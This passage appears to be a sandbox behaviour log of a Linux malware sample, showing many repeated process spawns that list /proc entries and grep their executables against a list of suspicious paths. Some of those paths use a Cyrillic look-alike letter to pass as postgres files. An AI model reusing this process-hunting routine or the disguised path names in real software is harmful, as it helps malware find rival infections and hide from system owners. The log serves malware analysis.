  ls -latrh /proc/2
  2⤵
  PID:820
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:824
- /bin/ls
  ls -latrh /proc/20
  2⤵
  PID:826
- /bin/grep
  grep exe
  2⤵
  PID:827
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:831
- /bin/grep
  grep exe
  2⤵
  PID:835
- /bin/ls
  ls -latrh /proc/205
  2⤵
  PID:834
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:838
- /bin/ls
  ls -latrh /proc/21
  2⤵
  PID:841
- /bin/grep
  grep exe
  2⤵
  PID:842
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:850
- /bin/grep
  grep exe
  2⤵
  PID:854
- /bin/ls
  ls -latrh /proc/22
  2⤵
  PID:853
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:856
- /bin/grep
  grep exe
  2⤵
  PID:860
- /bin/ls
  ls -latrh /proc/23
  2⤵
  PID:859
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:864
- /bin/ls
  ls -latrh /proc/24
  2⤵
  PID:866
- /bin/grep
  grep exe
  2⤵
  PID:867
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:870
- /bin/grep
  grep exe
  2⤵
  PID:873
- /bin/ls
  ls -latrh /proc/25
  2⤵
  PID:872
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:876
- /bin/grep
  grep exe
  2⤵
  PID:879
- /bin/ls
  ls -latrh /proc/256
  2⤵
  PID:878
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:882
- /bin/grep
  grep exe
  2⤵
  PID:886
- /bin/ls
  ls -latrh /proc/259
  2⤵
  - Reads runtime system information
  PID:885
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:888
- /bin/grep
  grep exe
  2⤵
  PID:891
- /bin/ls
  ls -latrh /proc/26
  2⤵
  PID:890
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:893
- /bin/grep
  grep exe
  2⤵
  PID:897
- /bin/ls
  ls -latrh /proc/260
  2⤵
  PID:896
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:900
- /bin/grep
  grep exe
  2⤵
  PID:903
- /bin/ls
  ls -latrh /proc/262
  2⤵
  PID:902
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:907
- /bin/ls
  ls -latrh /proc/265
  2⤵
  PID:909
- /bin/grep
  grep exe
  2⤵
  PID:910
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:912
- /bin/grep
  grep exe
  2⤵
  PID:915
- /bin/ls
  ls -latrh /proc/27
  2⤵
  PID:914
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:917
- /bin/grep
  grep exe
  2⤵
  PID:920
- /bin/ls
  ls -latrh /proc/28
  2⤵
  PID:919
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:922
- /bin/grep
  grep exe
  2⤵
  PID:925
- /bin/ls
  ls -latrh /proc/29
  2⤵
  PID:924
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:928
- /bin/grep
  grep exe
  2⤵
  PID:932
- /bin/ls
  ls -latrh /proc/3
  2⤵
  PID:931
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:935
- /bin/ls
  ls -latrh /proc/303
  2⤵
  PID:937
- /bin/grep
  grep exe
  2⤵
  PID:938
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:941
- /bin/grep
  grep exe
  2⤵
  PID:944
- /bin/ls
  ls -latrh /proc/305
  2⤵
  PID:943
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:948
- /bin/ls
  ls -latrh /proc/309
  2⤵
  PID:952
- /bin/grep
  grep exe
  2⤵
  PID:953
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:956
- /bin/ls
  ls -latrh /proc/331
  2⤵
  PID:959
- /bin/grep
  grep exe
  2⤵
  PID:960
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:962
- /bin/ls
  ls -latrh /proc/4
  2⤵
  PID:965
- /bin/grep
  grep exe
  2⤵
  PID:966
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:969
- /bin/grep
  grep exe
  2⤵
  PID:972
- /bin/ls
  ls -latrh /proc/41
  2⤵
  PID:971
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:976
- /bin/grep
  grep exe
  2⤵
  PID:979
- /bin/ls
  ls -latrh /proc/42
  2⤵
  PID:978
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:983
- /bin/grep
  grep exe
  2⤵
  PID:986
- /bin/ls
  ls -latrh /proc/43
  2⤵
  PID:985
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:989
- /bin/ls
  ls -latrh /proc/5
  2⤵
  PID:992
- /bin/grep
  grep exe
  2⤵
  PID:993
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:995
- /bin/ls
  ls -latrh /proc/571
  2⤵
  PID:998
- /bin/grep
  grep exe
  2⤵
  PID:999
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1002
- /bin/ls
  ls -latrh /proc/586
  2⤵
  PID:1005
- /bin/grep
  grep exe
  2⤵
  PID:1006
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1009
- /bin/grep
  grep exe
  2⤵
  PID:1014
- /bin/ls
  ls -latrh /proc/589
  2⤵
  PID:1013
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1016
- /bin/grep
  grep exe
  2⤵
  PID:1020
- /bin/ls
  ls -latrh /proc/591
  2⤵
  PID:1019
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1024
- /bin/ls
  ls -latrh /proc/592
  2⤵
  PID:1027
- /bin/grep
  grep exe
  2⤵
  PID:1028
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1031
- /bin/grep
  grep exe
  2⤵
  PID:1035
- /bin/ls
  ls -latrh /proc/6
  2⤵
  PID:1034
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1037
- /bin/ls
  ls -latrh /proc/629
  2⤵
  PID:1039
- /bin/grep
  grep exe
  2⤵
  PID:1040
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1042
- /bin/grep
  grep exe
  2⤵
  PID:1045
- /bin/ls
  ls -latrh /proc/630
  2⤵
  PID:1044
- /bin/grep
